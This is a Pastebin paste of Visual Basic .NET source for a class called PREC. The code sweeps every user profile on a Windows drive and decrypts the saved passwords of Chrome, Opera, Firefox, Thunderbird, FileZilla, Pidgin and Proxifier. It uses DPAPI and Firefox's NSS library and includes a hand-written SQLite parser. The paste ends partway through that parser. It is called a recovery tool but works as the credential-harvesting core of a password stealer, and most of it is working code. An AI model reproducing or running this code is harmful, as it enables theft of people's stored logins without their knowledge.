Advertisement
Guest User

Untitled

a guest
Aug 19th, 2016
317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.34 KB | None | 0 0
  1. Imports System.Runtime.InteropServices
  2. Imports System.IO
  3. Imports System.Text
  4. Imports System.Text.RegularExpressions
  5. Imports System.Xml
  6.  
  7. Class PREC
  8. #Region "Win32/API+Other libs"
  9. #Region "Shared"
  10. <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  11. Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  12. End Function
  13. <Flags()>
  14. Private Enum CryptProtectPromptFlags
  15. CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  16. CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  17. End Enum
  18. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
  19. Private Structure CRYPTPROTECT_PROMPTSTRUCT
  20. Public cbSize As Integer
  21. Public dwPromptFlags As CryptProtectPromptFlags
  22. Public hwndApp As IntPtr
  23. Public szPrompt As String
  24. End Structure
  25. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
  26. Private Structure DATA_BLOB
  27. Public cbData As Integer
  28. Public pbData As IntPtr
  29. End Structure
  30. Private Function Decrypt(ByVal Datas() As Byte) As String
  31. On Error Resume Next
  32. Dim inj, Ors As New DATA_BLOB
  33. Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  34. inj.pbData = Ghandle.AddrOfPinnedObject()
  35. inj.cbData = Datas.Length
  36. Ghandle.Free()
  37. CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  38. Dim Returned() As Byte = New Byte(Ors.cbData) {}
  39. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  40. Dim TheString As String = Encoding.UTF8.GetString(Returned)
  41. Return TheString.Substring(0, TheString.Length - 1)
  42. End Function
  43. #End Region
  44. #Region "Firefox"
  45. Private NSS3 As IntPtr
  46. Private hModuleList As New List(Of IntPtr)
  47.  
  48. <StructLayout(LayoutKind.Sequential)>
  49. Private Structure TSECItem
  50. Public SECItemType As Integer
  51. Public SECItemData As Integer
  52. Public SECItemLen As Integer
  53. End Structure
  54.  
  55. <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  56. Private Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
  57. <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  58. Private Delegate Function DLLFunctionDelegate2() As Long
  59. <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  60. Private Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
  61. <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  62. Private Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
  63. <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  64. Private Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
  65. <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  66. Private Delegate Function DLLFunctionDelegate6() As Long
  67.  
  68. Private Function PK11_GetInternalKeySlot() As Long
  69. Return CreateAPI(Of DLLFunctionDelegate2)(NSS3, "PK11_GetInternalKeySlot")()
  70. End Function
  71. Private Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
  72. Return CreateAPI(Of DLLFunctionDelegate3)(NSS3, "PK11_Authenticate")(slot, loadCerts, wincx)
  73. End Function
  74. Private Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
  75. Return CreateAPI(Of DLLFunctionDelegate4)(NSS3, "NSSBase64_DecodeBuffer")(arenaOpt, outItemOpt, inStr, inLen)
  76. End Function
  77. Private Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
  78. Return CreateAPI(Of DLLFunctionDelegate5)(NSS3, "PK11SDR_Decrypt")(data, result, cx)
  79. End Function
  80. Private Function NSS_Shutdown() As Long
  81. Return CreateAPI(Of DLLFunctionDelegate6)(NSS3, "NSS_Shutdown")()
  82. End Function
  83.  
  84. <DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  85. Private Shared Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
  86. End Function
  87.  
  88. <DllImport("kernel32.dll", SetLastError:=True, EntryPoint:="FreeLibrary")>
  89. Private Shared Function FreeLibrary(ByVal hModule As IntPtr) As Boolean
  90. End Function
  91.  
  92. <DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Ansi, ExactSpelling:=True)>
  93. Private Shared Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
  94. End Function
  95.  
  96. 'Private Function CreateAPI(Of T)(ByVal name As String, ByVal method As String) As T
  97. ' Return CreateAPI(Of T)(LoadLibrary(name), method)
  98. 'End Function
  99.  
  100. Private Function CreateAPI(Of T)(ByVal hModule As IntPtr, ByVal method As String) As T 'Simple overload to avoid loading the same library every time
  101. On Error Resume Next
  102. Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), GetType(T)), Object), T)
  103. End Function
  104. #End Region
  105. #End Region
  106.  
  107. #Region "Recovery methods"
  108. #Region "Opera"
  109. Public Function RecoverOpera() As Boolean
  110. Try
  111. For Each AppData As String In GetAppDataFolders()
  112. If Not File.Exists(AppData & "\Roaming\Opera Software\Opera Stable\Login Data") Then Continue For
  113. Dim sql As New SQLiteHandler(AppData & "\Roaming\Opera Software\Opera Stable\Login Data")
  114. sql.ReadTable("logins")
  115. For i As Integer = 0 To sql.GetRowCount() - 1
  116. Dim url As String = sql.GetValue(i, "origin_url")
  117. Dim username As String = sql.GetValue(i, "username_value")
  118. Dim password_crypted As String = sql.GetValue(i, "password_value")
  119. Dim password As String = IIf(String.IsNullOrEmpty(password_crypted), "", Decrypt(Encoding.Default.GetBytes(password_crypted)))
  120. Dim Opera As New Account(AccountType.Opera, username, password, url)
  121. Accounts.Add(Opera)
  122. Next
  123. Next
  124. Return True
  125. Catch e As Exception
  126. #If DEBUG Then
  127. Throw e
  128. #End If
  129. Return False
  130. End Try
  131. End Function
  132. #End Region
  133. #Region "Google Chrome"
  134. Public Function RecoverChrome() As Boolean
  135. Try
  136. For Each AppData As String In GetAppDataFolders()
  137. If Not File.Exists(AppData & "\Local\Google\Chrome\User Data\Default\Login Data") Then Continue For
  138. Dim sql As New SQLiteHandler(AppData & "\Local\Google\Chrome\User Data\Default\Login Data")
  139. sql.ReadTable("logins")
  140. For i As Integer = 0 To sql.GetRowCount() - 1
  141. Dim url As String = sql.GetValue(i, "origin_url")
  142. Dim username As String = sql.GetValue(i, "username_value")
  143. Dim password_crypted As String = sql.GetValue(i, "password_value")
  144. Dim password As String = IIf(String.IsNullOrEmpty(password_crypted), "", Decrypt(Encoding.Default.GetBytes(password_crypted)))
  145. Dim Chrome As New Account(AccountType.Chrome, username, password, url)
  146. Accounts.Add(Chrome)
  147. Next
  148. Next
  149. Return True
  150. Catch e As Exception
  151. #If DEBUG Then
  152. Throw e
  153. #End If
  154. Return False
  155. End Try
  156. End Function
  157. #End Region
  158. #Region "Mozilla Firefox"
  159. Private Function FindFirefoxInstallationPath() As String
  160. Dim MozPath As String = String.Empty
  161. For Each InstalledAppsDir As String In GetInstalledAppsDirs()
  162. For Each Dir As String In Directory.GetDirectories(InstalledAppsDir, "Mozilla Firefox", SearchOption.TopDirectoryOnly)
  163. MozPath = Dir
  164. If Not String.IsNullOrEmpty(MozPath) Then
  165. Exit For
  166. End If
  167. Next
  168. Next
  169. Return MozPath
  170. End Function
  171.  
  172. Private Function FindFirefoxProfilePath(ByVal AppDataDir As String) As String
  173. Dim mozAPPDATA As String = AppDataDir & "\Roaming\Mozilla\Firefox"
  174. If Not IO.Directory.Exists(mozAPPDATA) Then Return String.Empty : Exit Function
  175. Dim mozProfile = New Regex("^Path=(.*?)$", RegexOptions.Multiline).Match(IO.File.ReadAllText(mozAPPDATA & "\profiles.ini")).Groups(1).Value.Replace(vbCr, Nothing)
  176. Return mozAPPDATA & "\" & mozProfile
  177. End Function
  178.  
  179. Private Function NSS_Init(ByVal configdir As String) As Long
  180. hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\msvcr100.dll"))
  181. hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\msvcp100.dll"))
  182. hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\msvcr120.dll"))
  183. hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\msvcp120.dll"))
  184. hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\mozglue.dll"))
  185. NSS3 = LoadLibrary(FindFirefoxInstallationPath() & "\nss3.dll")
  186. hModuleList.Add(NSS3)
  187. Return CreateAPI(Of DLLFunctionDelegate)(NSS3, "NSS_Init")(configdir)
  188. End Function
  189.  
  190. Private Function DecryptFF(ByVal str As String)
  191. On Error Resume Next
  192. Dim mozSEC, mozSEC2 As TSECItem
  193. Dim sb As New StringBuilder(str)
  194. Dim mozDecodeBuffer As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length)
  195. mozSEC = New TSECItem
  196. mozSEC2 = Marshal.PtrToStructure(New IntPtr(mozDecodeBuffer), GetType(TSECItem))
  197. If PK11SDR_Decrypt(mozSEC2, mozSEC, 0) = 0 Then
  198. If mozSEC.SECItemLen <> 0 Then
  199. Dim mozDecryptedData = New Byte(mozSEC.SECItemLen - 1) {}
  200. Marshal.Copy(New IntPtr(mozSEC.SECItemData), mozDecryptedData, 0, mozSEC.SECItemLen)
  201. Return Encoding.UTF8.GetString(mozDecryptedData)
  202. End If
  203. End If
  204. Return String.Empty
  205. End Function
  206.  
  207. Public Function RecoverFirefox() As Boolean
  208. Try
  209. For Each AppData As String In GetAppDataFolders()
  210. Dim mozProfilePath As String = FindFirefoxProfilePath(AppData)
  211. If Not IO.Directory.Exists(mozProfilePath) Then Continue For
  212. Dim mozLogins = IO.File.ReadAllText(mozProfilePath & "\logins.json")
  213. NSS_Init(mozProfilePath)
  214. Dim keySlot As Long = PK11_GetInternalKeySlot()
  215. PK11_Authenticate(keySlot, True, 0)
  216. Dim JSONRegex As New Regex("\""(hostname|encryptedPassword|encryptedUsername)"":""(.*?)""")
  217. Dim mozMC = JSONRegex.Matches(mozLogins)
  218. For I = 0 To mozMC.Count - 1 Step 3
  219. Dim host = mozMC(I).Groups(2).Value
  220. Dim usr = mozMC(I + 1).Groups(2).Value
  221. Dim pas = mozMC(I + 2).Groups(2).Value
  222. Dim Firefox As New Account(AccountType.Firefox, DecryptFF(usr), DecryptFF(pas), host)
  223. Accounts.Add(Firefox)
  224. Next
  225. NSS_Shutdown()
  226. For Each hModule As IntPtr In hModuleList
  227. FreeLibrary(hModule)
  228. Next
  229. Next
  230. Return True
  231. Catch e As Exception
  232. #If DEBUG Then
  233.  
  234. Throw e
  235. #End If
  236. Return False
  237. End Try
  238. End Function
  239. #End Region
  240. #Region "Mozilla Thunderbird"
  241. Private Function FindThunderbirdProfilePath(ByVal AppDataDir As String) As String
  242. Dim mozThunderAPPDATA As String = AppDataDir & "\Roaming\Thunderbird"
  243. If Not IO.Directory.Exists(mozThunderAPPDATA) Then Return String.Empty : Exit Function
  244. Dim mozProfile = New Regex("Path=(.*?)$", RegexOptions.Multiline).Match(IO.File.ReadAllText(mozThunderAPPDATA & "\profiles.ini")).Groups(1).Value.Replace(vbCr, Nothing)
  245. Return mozThunderAPPDATA & "\" & mozProfile
  246. End Function
  247. Public Function RecoverThunderbird() As Boolean
  248. Try
  249. For Each AppData As String In GetAppDataFolders()
  250. Dim mozThunderProfilePath As String = FindThunderbirdProfilePath(AppData)
  251. If Not IO.Directory.Exists(mozThunderProfilePath) Then Continue For
  252. Dim mozLogins = IO.File.ReadAllText(mozThunderProfilePath & "\logins.json")
  253. NSS_Init(mozThunderProfilePath & "\")
  254. Dim keySlot As Long = PK11_GetInternalKeySlot()
  255. PK11_Authenticate(keySlot, True, 0)
  256. Dim JSONRegex As New Regex("\""(hostname|encryptedPassword|encryptedUsername)"":""(.*?)""")
  257. Dim mozMC = JSONRegex.Matches(mozLogins)
  258. For I = 0 To mozMC.Count - 1 Step 3
  259. Dim host = mozMC(I).Groups(2).Value
  260. Dim usr = mozMC(I + 1).Groups(2).Value
  261. Dim pas = mozMC(I + 2).Groups(2).Value
  262. Dim Thunderbird As New Account(AccountType.Thunderbird, DecryptFF(usr), DecryptFF(pas), host)
  263. Accounts.Add(Thunderbird)
  264. Next
  265. NSS_Shutdown()
  266. For Each hModule As IntPtr In hModuleList
  267. FreeLibrary(hModule)
  268. Next
  269. Next
  270. Return True
  271. Catch e As Exception
  272. #If DEBUG Then
  273. 'An unhandled exception of type 'System.NullReferenceException' occurred in x
  274. 'Additional Information: Object reference Not set to an instance of an object.
  275.  
  276. 'The error above most likely means you are compiling to other than x86 architecture
  277. Throw e
  278. #End If
  279. Return False
  280. End Try
  281. End Function
  282. #End Region
  283. #Region "FileZilla"
  284. Public Function RecoverFileZilla() As Boolean
  285. Try
  286. For Each AppData As String In GetAppDataFolders()
  287. If IO.File.Exists(AppData & "\Roaming\FileZilla\recentservers.xml") Then
  288. Dim x As New XmlDocument
  289. x.Load(AppData & "\Roaming\FileZilla\recentservers.xml")
  290. For Each Node As XmlNode In x.ChildNodes(1).SelectNodes("RecentServers/Server")
  291. Dim host As String = String.Format("{0}:{1}", ExtractValue(Node, "Host"), ExtractValue(Node, "Port"))
  292. Dim user As String = ExtractValue(Node, "User")
  293. Dim pass As String = ExtractValue(Node, "Pass", (Node.SelectSingleNode("Pass[@encoding='base64']") IsNot Nothing))
  294. Dim FileZilla As New Account(AccountType.FileZilla, user, pass, host)
  295. Accounts.Add(FileZilla)
  296. Next
  297. x = Nothing
  298. Else
  299. Continue For
  300. End If
  301. Next
  302. Return True
  303. Catch e As Exception
  304. #If DEBUG Then
  305. Throw e
  306. #End If
  307. Return False
  308. End Try
  309. End Function
  310. #End Region
  311. #Region "Pidgin"
  312. Public Function RecoverPidgin() As Boolean
  313. Try
  314. For Each AppData As String In GetAppDataFolders()
  315. If Not IO.File.Exists(AppData & "\Roaming\.purple\accounts.xml") Then Continue For
  316. Dim Doc As New XmlDocument
  317. Doc.Load(AppData & "\Roaming\.purple\accounts.xml")
  318. For Each Node As XmlNode In Doc.ChildNodes(1).SelectNodes("account")
  319. Dim Domain As String = ExtractValue(Node, "protocol")
  320. Dim Username As String = ExtractValue(Node, "name")
  321. Dim Password As String = ExtractValue(Node, "password")
  322. Dim Pidgin As New Account(AccountType.Pidgin, Username, Password, Domain)
  323. Accounts.Add(Pidgin)
  324. Next
  325. Doc = Nothing
  326. Next
  327. Return True
  328. Catch e As Exception
  329. #If DEBUG Then
  330. Throw e
  331. #End If
  332. Return False
  333. End Try
  334. End Function
  335. #End Region
  336. #Region "Proxifier"
  337. ''' <summary>
  338. ''' Recovers Proxifier Proxy list (TODO: detect/implement password cryptography algorithm)
  339. ''' </summary>
  340. ''' <returns></returns>
  341. Public Function RecoverProxifier() As Boolean
  342. Try
  343. For Each AppData As String In GetAppDataFolders()
  344. If Not IO.File.Exists(AppData & "\Roaming\Proxifier\Profiles\Default.ppx") Then Continue For
  345. Dim Doc As New XmlDocument
  346. Doc.Load(AppData & "\Roaming\Proxifier\Profiles\Default.ppx")
  347. For Each Node As XmlNode In Doc.ChildNodes(1).SelectSingleNode("ProxyList").SelectNodes("Proxy")
  348. Dim IPAddress As String = "[" & Node.Attributes("type").Value & "]" & ExtractValue(Node, "Address") & ":" & ExtractValue(Node, "Port")
  349. Dim Username As String = ""
  350. Dim Password As String = ""
  351. For Each n As XmlNode In Node.ChildNodes
  352. If n.Name = "Authentication" Then
  353. If n.Attributes("enabled").Value = "true" Then
  354. Username = ExtractValue(n, "Username")
  355. Password = ExtractValue(n, "Password")
  356. End If
  357. End If
  358. Next
  359. Dim Proxifier As New Account(AccountType.Proxifier, Username, Password, IPAddress)
  360. Accounts.Add(Proxifier)
  361. Next
  362. Doc = Nothing
  363. Next
  364. Return True
  365. Catch e As Exception
  366. #If DEBUG Then
  367. Throw e
  368. #End If
  369. Return False
  370. End Try
  371. End Function
  372. #End Region
  373. #End Region
  374.  
  375. #Region "Hacks/Helpers"
  376. Private Function ExtractValue(ByVal Node As XmlNode, ByVal Key As String, Optional ByVal DecodeBase64 As Boolean = False) As String
  377. Dim exNode As XmlNode = Node.SelectSingleNode(Key)
  378. If DecodeBase64 Then
  379. Return New UTF8Encoding().GetString(Convert.FromBase64String(exNode.InnerText))
  380. Else
  381. Return exNode.InnerText
  382. End If
  383. End Function
  384. Private Function isWindowsXP() As Boolean
  385. Return (System.Environment.OSVersion.Version.Major = 5)
  386. End Function
  387. Private Function GetAppDataFolders() As String()
  388. On Error Resume Next
  389. Dim iList As New List(Of String)
  390. If isWindowsXP() Then
  391. For Each Dir As String In Directory.GetDirectories(Drive.RootDirectory.FullName & "Documents and Settings\", "*", SearchOption.TopDirectoryOnly)
  392. iList.Add(Dir & "Application Data")
  393. Next
  394. Else
  395. For Each Dir As String In Directory.GetDirectories(Drive.RootDirectory.FullName & "Users\", "*", SearchOption.TopDirectoryOnly)
  396. Dim dirInfo As New System.IO.DirectoryInfo(Dir)
  397. iList.Add(Drive.RootDirectory.FullName & "Users\" & dirInfo.Name & "\AppData")
  398. Next
  399. End If
  400. Return iList.ToArray
  401. End Function
  402. Private Function GetInstalledAppsDirs() As String()
  403. Dim Apps As String = String.Empty
  404. Dim iList As New List(Of String)
  405. For Each Dir As String In Directory.GetDirectories(Drive.RootDirectory.FullName, "Program Files*", SearchOption.TopDirectoryOnly)
  406. iList.Add(Dir)
  407. Next
  408. Return iList.ToArray
  409. End Function
  410.  
  411. #End Region
  412.  
  413. #Region "Detectors"
  414. 'Not sure how I will do this without access to registry on other drives yet!!
  415. 'So currently I check if login file exists inside the recovery functions
  416. #End Region
  417.  
  418. #Region "Main code stuff"
  419. Sub New(ByVal Drive As DriveInfo)
  420. Me.Drive = Drive
  421. End Sub
  422. Sub New()
  423. For Each Drive As DriveInfo In DriveInfo.GetDrives
  424. If Drive.RootDirectory.FullName = Path.GetPathRoot(Environment.SystemDirectory) Then
  425. Me.Drive = Drive : Exit For
  426. End If
  427. Next
  428. End Sub
  429. Private _drive As DriveInfo
  430. Public Property Drive() As DriveInfo
  431. Get
  432. Return _drive
  433. End Get
  434. Set(ByVal value As DriveInfo)
  435. _drive = value
  436. End Set
  437. End Property
  438. Private _accounts As New List(Of Account)
  439. Public Property Accounts() As List(Of Account)
  440. Get
  441. Return _accounts
  442. End Get
  443. Set(ByVal value As List(Of Account))
  444. _accounts = value
  445. End Set
  446. End Property
  447.  
  448. #End Region
  449. End Class
  450.  
  451. Class Account
  452. Private _username As String
  453. Public Property Username() As String
  454. Get
  455. Return _username
  456. End Get
  457. Set(ByVal value As String)
  458. _username = value
  459. End Set
  460. End Property
  461. Private _password As String
  462. Public Property Password() As String
  463. Get
  464. Return _password
  465. End Get
  466. Set(ByVal value As String)
  467. _password = value
  468. End Set
  469. End Property
  470. Private _domain As String
  471. Public Property Domain() As String
  472. Get
  473. Return _domain
  474. End Get
  475. Set(ByVal value As String)
  476. _domain = value
  477. End Set
  478. End Property
  479. Private _type As AccountType
  480. Public Property Type() As AccountType
  481. Get
  482. Return _type
  483. End Get
  484. Set(ByVal value As AccountType)
  485. _type = value
  486. End Set
  487. End Property
  488. Sub New(ByVal Type As AccountType, ByVal Username As String, ByVal Password As String)
  489. Me.Type = Type
  490. Me.Username = Username
  491. Me.Password = Password
  492. End Sub
  493. Sub New(ByVal Type As AccountType, ByVal Username As String, ByVal Password As String, ByVal Domain As String)
  494. Me.Type = Type
  495. Me.Username = Username
  496. Me.Password = Password
  497. Me.Domain = Domain
  498. End Sub
  499. Sub New(ByVal Type As AccountType)
  500. Me.Type = Type
  501. End Sub
  502. Public Overrides Function ToString() As String
  503. Dim sb As New StringBuilder()
  504. sb.AppendLine("PREC.Account {")
  505. sb.AppendLine("Type: " & Type.ToString)
  506. sb.AppendLine("Domain: " & Domain)
  507. sb.AppendLine("Username: " & Username)
  508. sb.AppendLine("Password: " & Password)
  509. sb.AppendLine("}")
  510. Return sb.ToString
  511. End Function
  512. End Class
  513.  
  514. Enum AccountType
  515. Firefox
  516. Chrome
  517. Opera
  518. FileZilla
  519. Pidgin
  520. Thunderbird
  521. Proxifier
  522. End Enum
  523.  
  524.  
  525. Public Class SQLiteHandler
  526. Private db_bytes() As Byte
  527. Private page_size As UInt16
  528. Private encoding As UInt64
  529. Private master_table_entries() As sqlite_master_entry
  530.  
  531. Private SQLDataTypeSize() As Byte = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0}
  532. Private table_entries() As table_entry
  533. Private field_names() As String
  534.  
  535. Private Structure record_header_field
  536. Dim size As Int64
  537. Dim type As Int64
  538. End Structure
  539.  
  540. Private Structure table_entry
  541. Dim row_id As Int64
  542. Dim content() As String
  543. End Structure
  544.  
  545. Private Structure sqlite_master_entry
  546. Dim row_id As Int64
  547. Dim item_type As String
  548. Dim item_name As String
  549. Dim astable_name As String
  550. Dim root_num As Int64
  551. Dim sql_statement As String
  552. End Structure
  553.  
  554. 'Needs BigEndian
  555. 'GetVariableLength
  556. ' returns the endindex of an variable length integer
  557. Private Function GVL(ByVal startIndex As Integer) As Integer
  558. If startIndex > db_bytes.Length Then Return Nothing
  559.  
  560. For i = startIndex To startIndex + 8 Step 1
  561. If i > db_bytes.Length - 1 Then
  562. Return Nothing
  563. ElseIf (db_bytes(i) And &H80) <> &H80 Then
  564. Return i
  565. End If
  566. Next
  567.  
  568. Return startIndex + 8
  569. End Function
  570.  
  571. ' Eingaberichtung BigEndian
  572. ' ConvertVariableLength
  573. Private Function CVL(ByVal startIndex As Integer, ByVal endIndex As Integer) As Int64
  574. endIndex = endIndex + 1
  575.  
  576. Dim retus(7) As Byte
  577. Dim Length = endIndex - startIndex
  578. Dim Bit64 As Boolean = False
  579.  
  580. If Length = 0 Or Length > 9 Then Return Nothing
  581. If Length = 1 Then
  582. retus(0) = (db_bytes(startIndex) And &H7F)
  583. Return BitConverter.ToInt64(retus, 0)
  584. End If
  585.  
  586. If Length = 9 Then
  587. ' Ein Byte wird nämlich grad hinzugefügt
  588. Bit64 = True
  589. End If
  590.  
  591. Dim j As Integer = 1
  592. Dim k As Integer = 7
  593. Dim y As Integer = 0
  594.  
  595. If Bit64 Then
  596. retus(0) = db_bytes(endIndex - 1)
  597. endIndex = endIndex - 1
  598. y = 1
  599. End If
  600.  
  601. For i = (endIndex - 1) To startIndex Step -1
  602. If (i - 1) >= startIndex Then
  603. retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j)) Or (db_bytes(i - 1) << k)
  604. j = j + 1
  605. y = y + 1
  606. k = k - 1
  607. Else
  608. If Not Bit64 Then retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j))
  609. End If
  610. Next
  611.  
  612. Return BitConverter.ToInt64(retus, 0)
  613. End Function
  614.  
  615. 'Checks if a number is odd
  616. Private Function IsOdd(ByVal value As Int64) As Boolean
  617. Return (value And 1) = 1
  618. End Function
  619.  
  620. 'Big Endian Conversation
  621. Private Function ConvertToInteger(ByVal startIndex As Integer, ByVal Size As Integer) As UInt64
  622. If Size > 8 Or Size = 0 Then Return Nothing
  623.  
  624. Dim retVal As UInt64 = 0
  625.  
  626. For i = 0 To Size - 1 Step 1
  627. retVal = ((retVal << 8) Or db_bytes(startIndex + i))
  628. Next
  629.  
  630. Return retVal
  631. End Function
  632.  
  633. Private Sub ReadMasterTable(ByVal Offset As UInt64)
  634.  
  635. If db_bytes(Offset) = &HD Then 'Leaf node
  636. 'Length for setting the array length for the entries
  637. Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
  638. Dim ol As Integer = 0
  639.  
  640. If Not master_table_entries Is Nothing Then
  641. ol = master_table_entries.Length
  642. ReDim Preserve master_table_entries(master_table_entries.Length + Length)
  643. Else
  644. ReDim master_table_entries(Length)
  645. End If
  646.  
  647. Dim ent_offset As UInt64
  648.  
  649. For i = 0 To Length Step 1
  650. ent_offset = ConvertToInteger(Offset + 8 + (i * 2), 2)
  651.  
  652. If Offset <> 100 Then ent_offset = ent_offset + Offset
  653.  
  654. 'Table Cell auslesen
  655. Dim t = GVL(ent_offset)
  656. Dim size As Int64 = CVL(ent_offset, t)
  657.  
  658. Dim s = GVL(ent_offset + (t - ent_offset) + 1)
  659. master_table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s)
  660.  
  661. 'Table Content
  662. 'Resetting the offset
  663. ent_offset = ent_offset + (s - ent_offset) + 1
  664.  
  665. 'Now get to the Record Header
  666. t = GVL(ent_offset)
  667. s = t
  668. Dim Rec_Header_Size As Int64 = CVL(ent_offset, t) 'Record Header Length
  669.  
  670. Dim Field_Size(4) As Int64
  671.  
  672. 'Now get the field sizes and fill in the Values
  673. For j = 0 To 4 Step 1
  674. t = s + 1
  675. s = GVL(t)
  676. Field_Size(j) = CVL(t, s)
  677.  
  678. If Field_Size(j) > 9 Then
  679. If IsOdd(Field_Size(j)) Then
  680. Field_Size(j) = (Field_Size(j) - 13) / 2
  681. Else
  682. Field_Size(j) = (Field_Size(j) - 12) / 2
  683. End If
  684. Else
  685. Field_Size(j) = SQLDataTypeSize(Field_Size(j))
  686. End If
  687. Next
  688.  
  689. ' Wir lesen nur unbedingt notwendige Sachen aus
  690. If encoding = 1 Then
  691. master_table_entries(ol + i).item_type = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
  692. ElseIf encoding = 2 Then
  693. master_table_entries(ol + i).item_type = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
  694. ElseIf encoding = 3 Then
  695. master_table_entries(ol + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
  696. End If
  697. If encoding = 1 Then
  698. master_table_entries(ol + i).item_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
  699. ElseIf encoding = 2 Then
  700. master_table_entries(ol + i).item_name = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
  701. ElseIf encoding = 3 Then
  702. master_table_entries(ol + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
  703. End If
  704. 'master_table_entries(ol + i).astable_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1), Field_Size(2))
  705. master_table_entries(ol + i).root_num = ConvertToInteger(ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2), Field_Size(3))
  706. If encoding = 1 Then
  707. master_table_entries(ol + i).sql_statement = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
  708. ElseIf encoding = 2 Then
  709. master_table_entries(ol + i).sql_statement = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
  710. ElseIf encoding = 3 Then
  711. master_table_entries(ol + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
  712. End If
  713. Next
  714. ElseIf db_bytes(Offset) = &H5 Then 'internal node
  715. Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
  716. Dim ent_offset As UInt16
  717.  
  718. For i = 0 To Length Step 1
  719. ent_offset = ConvertToInteger(Offset + 12 + (i * 2), 2)
  720.  
  721. If Offset = 100 Then
  722. ReadMasterTable((ConvertToInteger(ent_offset, 4) - 1) * page_size)
  723. Else
  724. ReadMasterTable((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size)
  725. End If
  726.  
  727. Next
  728.  
  729. ReadMasterTable((ConvertToInteger(Offset + 8, 4) - 1) * page_size)
  730. End If
  731. End Sub
  732.  
  733. Private Function ReadTableFromOffset(ByVal Offset As UInt64) As Boolean
  734. If db_bytes(Offset) = &HD Then 'Leaf node
  735.  
  736. 'Length for setting the array length for the entries
  737. Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
  738. Dim ol As Integer = 0
  739.  
  740. If Not table_entries Is Nothing Then
  741. ol = table_entries.Length
  742. ReDim Preserve table_entries(table_entries.Length + Length)
  743. Else
  744. ReDim table_entries(Length)
  745. End If
  746.  
  747. Dim ent_offset As UInt64
  748.  
  749. For i = 0 To Length Step 1
  750. ent_offset = ConvertToInteger(Offset + 8 + (i * 2), 2)
  751.  
  752. If Offset <> 100 Then ent_offset = ent_offset + Offset
  753.  
